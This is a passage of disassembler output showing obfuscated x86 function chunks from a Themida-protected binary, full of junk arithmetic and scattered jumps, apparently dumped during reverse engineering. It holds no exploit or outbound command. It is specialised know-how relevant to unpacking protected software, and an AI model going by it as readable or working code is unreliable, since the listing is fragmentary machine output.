243B7B4Eh mov esi, edx jmp loc_5650C3 ; END OF FUNCTION CHUNK FOR sub_5687A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574DC1 loc_574F40: ; CODE XREF: sub_574DC1-F4D2j mov ecx, 4F123E9Ah dec ecx inc ecx or ecx, 1AC19D9h shl ecx, 6 or ecx, 6BFE3FEDh sub ecx, 0DE5BBFA5h sub eax, ecx pop ecx pop ebp add eax, 5DCD4518h push edx mov edx, 59E23057h sub eax, edx pop edx push 3462h mov [esp+8+var_8], ebp mov ebp, 44B822D8h jmp loc_560356 ; END OF FUNCTION CHUNK FOR sub_574DC1 ; --------------------------------------------------------------------------- loc_574F80: ; CODE XREF: Themida_:0056E156j push ebx jmp loc_56A93A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56BD36 loc_574F86: ; CODE XREF: sub_56BD36+80EAj push esi mov esi, 4012075Ch neg esi xor esi, 4BBD388Eh add esi, 0BAF3FDAh jmp loc_574963 ; END OF FUNCTION CHUNK FOR sub_56BD36 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A7FB loc_574F9F: ; CODE XREF: sub_56A7FB-7E7Aj push ecx jmp loc_5674F7 ; END OF FUNCTION CHUNK FOR sub_56A7FB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5680AC loc_574FA5: ; CODE XREF: sub_5680AC-5A4Ej pop ebx xor eax, [esp-4+arg_0] jmp loc_575026 ; END OF FUNCTION CHUNK FOR sub_5680AC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570CE4 loc_574FAE: ; CODE XREF: sub_570CE4+323Ej inc edx add edx, 3FD4EF18h xor eax, edx jmp loc_56A706 ; END OF FUNCTION CHUNK FOR sub_570CE4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563A7F loc_574FBC: ; CODE XREF: sub_563A7F+BDD4j neg ecx sub ecx, 343D3141h jmp loc_56E8C8 ; END OF FUNCTION CHUNK FOR sub_563A7F ; =============== S U B R O U T I N E ======================================= sub_574FC9 proc near ; DATA XREF: Themida_:0055FE34o var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00560F50 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00567AFB SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0056905F SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056C0B9 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056D1B6 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056D68D SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056D701 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0056DB8D SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056E755 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0056EA5F SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0056EC80 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 0056F54D SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00570209 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005706C5 SIZE 00000039 BYTES ; FUNCTION CHUNK AT 00570EAE SIZE 00000033 BYTES ; FUNCTION CHUNK AT 00572993 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00574412 SIZE 00000034 BYTES ; FUNCTION CHUNK AT 00575321 SIZE 00000007 BYTES mov cx, [esp+0] jmp loc_56D701 sub_574FC9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_574FD2: ; CODE XREF: sub_5678CB+8B3Dj pop ecx add ecx, 4 push ebp mov ebp, 23B33548h jmp loc_5753B6 ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56638C loc_574FE4: ; CODE XREF: sub_56638C+DECEj mov edx, [esp+6+var_8+2] add esp, 4 sub ebx, 4 xchg ebx, [esp+2+var_4+2] pop esp mov [esp+0], edx mov edx, esp push 666h mov [esp+2+var_4+2], edi mov edi, 4 add edx, edi push [esp+2+var_4+2] jmp loc_56258B ; END OF FUNCTION CHUNK FOR sub_56638C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569193 loc_575013: ; CODE XREF: sub_569193-B0j xchg ebp, [esp+8+var_8] pop esp mov [esp+4+var_4], ebx jmp sub_57354D ; END OF FUNCTION CHUNK FOR sub_569193 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570E27 loc_57501F: ; CODE XREF: sub_570E27-E1B4j mov edx, esp jmp sub_5673C3 ; END OF FUNCTION CHUNK FOR sub_570E27 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5680AC loc_575026: ; CODE XREF: sub_5680AC+CEFDj xor [esp-4+arg_0], eax xor eax, [esp-4+arg_0] jmp loc_573D79 ; END OF FUNCTION CHUNK FOR sub_5680AC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_575031: ; CODE XREF: sub_561418+DDBEj pop edi add eax, 5D7D0447h sub eax, esi sub eax, 5D7D0447h push edx mov edx, 629D2441h inc edx jmp loc_572E79 ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_57504A: ; CODE XREF: sub_56616D+4EFBj sub edx, 4 jmp loc_56B7BA ; END OF FUNCTION CHUNK FOR sub_56616D ; --------------------------------------------------------------------------- loc_575052: ; CODE XREF: Themida_:0056803Cj push 4540h mov [esp], ecx mov ecx, 7B651958h push ecx mov edi, [esp] add esp, 4 pop ecx add [esp+8], edi jmp loc_571BF4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D3AF loc_575070: ; CODE XREF: sub_56D3AF-3BB4j and [esp+4+var_4], eax pushf jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_56D3AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5604FE loc_575079: ; CODE XREF: sub_5604FE+Bj push esp pop ecx push esi push ebx push 22D66D57h pop ebx add ebx, 7D6D18D0h add ebx, 1DE72B87h shr ebx, 4 xor ebx, 42B3E8B5h jmp loc_571444 ; END OF FUNCTION CHUNK FOR sub_5604FE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572075 loc_57509D: ; CODE XREF: sub_572075-35Ej pop [esp+0Ch+var_C] pop esp mov [esp+4+var_4], edx push 4 pop edx sub edi, 75E214F5h add edi, 48EC6805h add edi, edx sub edi, 48EC6805h add edi, 75E214F5h mov edx, [esp+4+var_4] add esp, 4 jmp loc_56653B ; END OF FUNCTION CHUNK FOR sub_572075 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C38F loc_5750D2: ; CODE XREF: sub_56C38F-2FD0j pop edi xor ebp, 21C91CCDh jmp loc_56202E ; END OF FUNCTION CHUNK FOR sub_56C38F ; =============== S U B R O U T I N E ======================================= sub_5750DE proc near ; CODE XREF: sub_56513E+F2CFj var_4 = dword ptr -4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0056413C SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00565F66 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00567692 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0056DCA2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005704CA SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005743C8 SIZE 0000000B BYTES sub esp, 4 mov [esp+4+var_4], edi mov edi, 7AF70375h xor edi, 5CAB6A3Ch add edi, 9EF63622h add ebp, 276D3581h jmp loc_567692 sub_5750DE endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561027 loc_575103: ; CODE XREF: sub_561027+B260j pop ebx pop [esp-4+arg_0] mov esp, [esp-8+arg_4] push esi jmp loc_5737D5 ; END OF FUNCTION CHUNK FOR sub_561027 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5666C3 loc_575110: ; CODE XREF: sub_5666C3+96Fj push edx mov edx, 1ABBAE04h sub edi, edx pop edx and ebp, edi pop edi jmp loc_567952 ; END OF FUNCTION CHUNK FOR sub_5666C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56EE9F loc_575121: ; CODE XREF: sub_56EE9F+2703j shr ebp, 6 push ecx mov ecx, esp add ecx, 4 jmp loc_572930 ; END OF FUNCTION CHUNK FOR sub_56EE9F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560CF1 loc_575132: ; CODE XREF: sub_560CF1+F315j add ebp, 4 jmp loc_57033B ; END OF FUNCTION CHUNK FOR sub_560CF1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56666D loc_57513D: ; CODE XREF: sub_56666D-15E6j add esp, 4 push edi mov edi, 0FFFFFFFFh sub ecx, edi jmp loc_5679F0 ; END OF FUNCTION CHUNK FOR sub_56666D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561C21 loc_575150: ; CODE XREF: sub_561C21+8225j add al, 0BCh mov bl, al pop eax shl bl, 6 push ecx mov ch, 39h jmp loc_574BF5 ; END OF FUNCTION CHUNK FOR sub_561C21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569FB8 loc_575160: ; CODE XREF: sub_569FB8-4190j push esi mov esi, 4 add ecx, esi pop esi push ebp jmp loc_5656C3 ; END OF FUNCTION CHUNK FOR sub_569FB8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565A8D loc_57516F: ; CODE XREF: sub_565A8D+6950j mov [esp+0], ebx mov eax, [esp+0] push ecx mov ecx, esp add ecx, 4 add ecx, 4 push edx push esp jmp loc_56FF14 ; END OF FUNCTION CHUNK FOR sub_565A8D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B06D loc_575188: ; CODE XREF: sub_56B06D+30Dj mov ecx, 24h add esi, ecx push [esp+14h+var_14] mov ecx, [esp+18h+var_18] push ecx mov ecx, esp jmp loc_5661E6 ; END OF FUNCTION CHUNK FOR sub_56B06D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56264C loc_57519D: ; CODE XREF: sub_56264C+F941j pop ecx jmp loc_563752 ; END OF FUNCTION CHUNK FOR sub_56264C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_5751A3: ; CODE XREF: sub_5678CB+9FC0j pop ebx jmp loc_5603A4 ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AB5E loc_5751A9: ; CODE XREF: sub_56AB5E-82D3j add edx, 4 add edx, 4 xchg edx, [esp+0Ch+var_C] pop esp sub edx, 3594A33h add edx, 6079482Fh add edx, eax sub edx, 6079482Fh push 3875h mov [esp+0Ch+var_C], ebx jmp loc_56A562 ; END OF FUNCTION CHUNK FOR sub_56AB5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_5751D7: ; CODE XREF: sub_561418+A57j push esp pop ebp push edx mov edx, 4 add ebp, edx pop edx add ebp, 4 jmp loc_571E75 ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AEF2 loc_5751EA: ; CODE XREF: sub_56AEF2+466Fj pop ecx push 26F0h mov [esp-0Ch+arg_8], eax push dword ptr [esp+4] mov eax, [esp-8+arg_4] add esp, 4 pop [esp-0Ch+arg_8] jmp loc_5691F5 ; END OF FUNCTION CHUNK FOR sub_56AEF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56DAB2 loc_575205: ; CODE XREF: sub_56DAB2+11j pop edi add eax, 29700582h jmp loc_57401B ; END OF FUNCTION CHUNK FOR sub_56DAB2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574503 loc_575210: ; CODE XREF: sub_574503-1396Ej pop ebx jmp sub_564B5A ; END OF FUNCTION CHUNK FOR sub_574503 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57523A loc_575216: ; CODE XREF: sub_57523A-CF32j mov edx, 5C8729AFh add edx, 423D7767h sub esp, 4 jmp loc_566733 ; END OF FUNCTION CHUNK FOR sub_57523A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571C93 loc_575229: ; CODE XREF: sub_571C93-BFE1j pop esi sub ebx, edi sub ebx, 6A056D72h push [esp+4+var_4] jmp loc_573A72 ; END OF FUNCTION CHUNK FOR sub_571C93 ; =============== S U B R O U T I N E ======================================= sub_57523A proc near ; DATA XREF: Themida_:0055FDD4o var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 4 ; FUNCTION CHUNK AT 005624BC SIZE 00000022 BYTES ; FUNCTION CHUNK AT 005637C0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056473C SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005659E2 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00566733 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00566A27 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00567E8B SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00568306 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056AAC5 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056C332 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056D091 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056ECC4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056F202 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 005708C7 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 005730DA SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00575216 SIZE 00000013 BYTES mov ax, [esp+0] push 694Eh mov [esp+4+var_4], edi push esp jmp loc_568306 sub_57523A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_57524C: ; CODE XREF: sub_56616D+BEE2j not [esp-0Ch+arg_8] pop ecx or ecx, 33631A93h push esi mov esi, 7E9C592Ah jmp loc_561E3D ; END OF FUNCTION CHUNK FOR sub_56616D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56657A loc_575261: ; CODE XREF: sub_56657A-3B35j pop esi xor ecx, [esp+0] xor [esp+0], ecx xor ecx, [esp+0] pop esp jmp loc_574865 ; END OF FUNCTION CHUNK FOR sub_56657A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574287 loc_575271: ; CODE XREF: sub_574287-A785j add esp, 4 xchg ebp, [esp+0] mov esp, [esp+0] bt [esp-4+arg_0], eax pushf jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_574287 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E0B0 loc_575284: ; CODE XREF: sub_56E0B0-315Cj push [esp+0Ch+var_8] jmp loc_5605A4 ; END OF FUNCTION CHUNK FOR sub_56E0B0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_57528D: ; CODE XREF: sub_561418+B614j push [esp+10h+var_10] pop eax add esp, 4 push [esp+0Ch+var_C] pop ebp add esp, 4 loc_57529E: ; CODE XREF: sub_561418+A938j ; sub_561418+B493j mov ebx, [esp+8+var_8] push ecx mov ecx, esp push edx push ebx jmp loc_565D8B ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569CBC loc_5752AB: ; CODE XREF: sub_569CBC-4426j push edx jmp loc_569B93 ; END OF FUNCTION CHUNK FOR sub_569CBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5666C3 loc_5752B1: ; CODE XREF: sub_5666C3+C7FEj mov ecx, 16F05FE7h jmp loc_5631BF ; END OF FUNCTION CHUNK FOR sub_5666C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56657A loc_5752BB: ; CODE XREF: sub_56657A+2A87j movzx cx, al jmp loc_56AB7D ; END OF FUNCTION CHUNK FOR sub_56657A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5747FA loc_5752C4: ; CODE XREF: sub_5747FA-5D40j pop esi or ecx, 11BD6FE6h shl ecx, 7 sub esp, 4 mov [esp+0], ebx mov ebx, 7D1469Ch sub ebx, 28114798h xor ecx, ebx pop ebx jmp loc_56D3FB ; END OF FUNCTION CHUNK FOR sub_5747FA ; --------------------------------------------------------------------------- loc_5752EA: ; CODE XREF: Themida_:0056D399j mov [esp], eax jmp loc_5701DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5681F5 loc_5752F2: ; CODE XREF: sub_5681F5-4D52j push edi mov edi, esp add edi, 4 add edi, 4 jmp sub_56637E ; END OF FUNCTION CHUNK FOR sub_5681F5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570E81 loc_575306: ; CODE XREF: sub_570E81-86BBj pop ebx push ecx jmp loc_561AC8 ; END OF FUNCTION CHUNK FOR sub_570E81 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56351E loc_57530D: ; CODE XREF: sub_56351E+8DFFj xor ecx, ebx pop ebx jmp loc_574E46 ; END OF FUNCTION CHUNK FOR sub_56351E ; =============== S U B R O U T I N E ======================================= sub_575315 proc near ; CODE XREF: sub_56666D-55AFj arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 005628AD SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00563583 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 005636CC SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00566EF0 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00567899 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00567B70 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00568A86 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056D2ED SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056F2F0 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0057279F SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00574D82 SIZE 0000000D BYTES push ebx mov ebx, 5AD2506h dec ebx jmp loc_5636CC sub_575315 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574FC9 loc_575321: ; CODE XREF: sub_574FC9-48D0j mov edx, edi jmp loc_56F54D ; END OF FUNCTION CHUNK FOR sub_574FC9 ; =============== S U B R O U T I N E ======================================= sub_575328 proc near ; CODE XREF: sub_56F782-8CE9j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00565194 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056854C SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00573F72 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00574142 SIZE 00000015 BYTES sub esp, 4 mov [esp+4+var_4], ebp push ecx push 5AA416Dh mov ecx, [esp+0Ch+var_C] add esp, 4 sub esp, 4 mov [esp+0Ch+var_C], ebp mov ebp, 2C21744Dh jmp loc_574142 sub_575328 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FA15 loc_575350: ; CODE XREF: sub_56FA15-528j add edi, ebx pop ebx xchg edi, [esp+8+var_8] jmp loc_566ACB ; END OF FUNCTION CHUNK FOR sub_56FA15 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568646 loc_57535B: ; CODE XREF: sub_568646+F1Dj push ecx jmp loc_566C3A ; END OF FUNCTION CHUNK FOR sub_568646 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AB51 loc_575361: ; CODE XREF: sub_56AB51-33B0j mov edx, 2B7A1F62h add eax, edx pop edx jmp loc_574446 ; END OF FUNCTION CHUNK FOR sub_56AB51 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5643EB loc_57536E: ; CODE XREF: sub_5643EB+85E7j sub eax, edx pop edx add eax, ebx push 6ADBh mov [esp-4+arg_0], esi mov esi, 66EA0755h push ebx mov ebx, 77A4415Fh add esi, ebx pop ebx xor esi, 848D5099h jmp loc_56BF79 ; END OF FUNCTION CHUNK FOR sub_5643EB ; --------------------------------------------------------------------------- loc_575394: ; CODE XREF: Themida_:00574AD1j add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_569ABE ; =============== S U B R O U T I N E ======================================= sub_5753A5 proc near ; DATA XREF: Themida_:0055FCE8o var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = word ptr 4 ; FUNCTION CHUNK AT 0056274A SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00563612 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00563C60 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00567758 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0056A207 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0056A7C1 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056C1B9 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0056FA7D SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0056FC1E SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0057166E SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00572DB1 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 00573D98 SIZE 00000032 BYTES ; FUNCTION CHUNK AT 005740BD SIZE 00000035 BYTES mov cx, [esp+0] jmp loc_57166E sub_5753A5 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563FA2 loc_5753AE: ; CODE XREF: sub_563FA2+6DB6j mov [esp+0], esp jmp loc_572E93 ; END OF FUNCTION CHUNK FOR sub_563FA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_5753B6: ; CODE XREF: sub_5678CB+D714j xor ebp, 6F785F82h dec ebp inc ebp xor ebp, 4CCB6AC8h sub ecx, 420A060Ch add ecx, ebp add ecx, 420A060Ch jmp loc_5682C8 ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574A21 loc_5753D7: ; CODE XREF: sub_574A21-62E3j mov ecx, 0FA3117B7h add ecx, ebx pop ebx jmp loc_570B2A ; END OF FUNCTION CHUNK FOR sub_574A21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5634AF loc_5753E4: ; CODE XREF: sub_5634AF+8C73j mov ecx, [esp+0] add esp, 4 push ebp push eax mov eax, 66893980h jmp loc_5692A3 ; END OF FUNCTION CHUNK FOR sub_5634AF ; --------------------------------------------------------------------------- loc_5753F6: ; DATA XREF: Themida_:0055FCD4o mov cx, [esp] push edx mov edx, esp push edi push esi jmp loc_5664E5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5638E4 loc_575404: ; CODE XREF: sub_5638E4+25E6j add edx, edi pop edi jmp loc_56BA49 ; END OF FUNCTION CHUNK FOR sub_5638E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AB51 loc_57540C: ; CODE XREF: sub_56AB51+E1Cj mov edi, [esp+8+var_8] add esp, 4 xor eax, [esp+4+var_4] xor [esp+4+var_4], eax jmp loc_571D8E ; END OF FUNCTION CHUNK FOR sub_56AB51 ; =============== S U B R O U T I N E ======================================= sub_575420 proc near ; DATA XREF: Themida_:0055FD18o var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 ; FUNCTION CHUNK AT 0056164C SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00562C8F SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00564B2D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00564B65 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00564DE6 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00566406 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00567ED5 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0056938E SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00569D4A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056BD6A SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00571E44 SIZE 0000000D BYTES lodsb jmp loc_56BD6A sub_575420 endp ; --------------------------------------------------------------------------- loc_575426: ; CODE XREF: Themida_:0056AD50j push esi push esp jmp loc_561947 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5604FE loc_57542D: ; CODE XREF: sub_5604FE+13E5Ej push esp pop eax sub esp, 4 mov [esp+0Ch+var_C], edi jmp loc_560A17 ; END OF FUNCTION CHUNK FOR sub_5604FE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56241E loc_57543A: ; CODE XREF: sub_56241E-1CB9j not cx push small 5AC2h mov word ptr [esp+0Ah+var_C+2], bx push ecx mov cx, 438Fh mov bx, cx mov ecx, [esp] jmp loc_56580A ; END OF FUNCTION CHUNK FOR sub_56241E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AEF2 loc_575455: ; CODE XREF: sub_56AEF2+13AFj sub bl, ah sub bl, 0DEh add bl, 21h sub bl, 64h jmp loc_56E7D7 ; END OF FUNCTION CHUNK FOR sub_56AEF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561826 loc_575465: ; CODE XREF: sub_561826+3E8Aj jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_561826 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_57546A: ; CODE XREF: sub_561418+D57j pop edx add ecx, eax sub ecx, 46100DC5h push eax mov eax, 0D477259h sub ecx, eax pop eax jmp loc_572A6F ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5738F4 loc_575481: ; CODE XREF: sub_5738F4-EBD3j add edi, 2C073315h push ebp jmp loc_5704FE ; END OF FUNCTION CHUNK FOR sub_5738F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_57548D: ; CODE XREF: sub_5678CB-6349j shr ah, 2 xor ah, 85h add ah, 0B9h push edx jmp loc_56E597 ; END OF FUNCTION CHUNK FOR sub_5678CB ; =============== S U B R O U T I N E ======================================= sub_57549C proc near ; DATA XREF: Themida_:0055FD30o var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00560C26 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00561BA4 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00561C45 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056235A SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005623E7 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005629EB SIZE 00000024 BYTES ; FUNCTION CHUNK AT 00564151 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00564365 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00567577 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005677C0 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 0056845A SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005685E2 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00568E12 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056A445 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056C416 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0056E771 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056ED47 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056EE2B SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0056FAD1 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056FFE3 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00570115 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0057048F SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00570898 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00571652 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0057168C SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00571A95 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00571FA6 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005726A1 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005730FD SIZE 00000035 BYTES ; FUNCTION CHUNK AT 0057313B SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00573897 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005739B4 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00573A9D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00573FD4 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0057469F SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00574D72 SIZE 00000010 BYTES lodsd jmp loc_56845A sub_57549C endp ; --------------------------------------------------------------------------- ; START OF 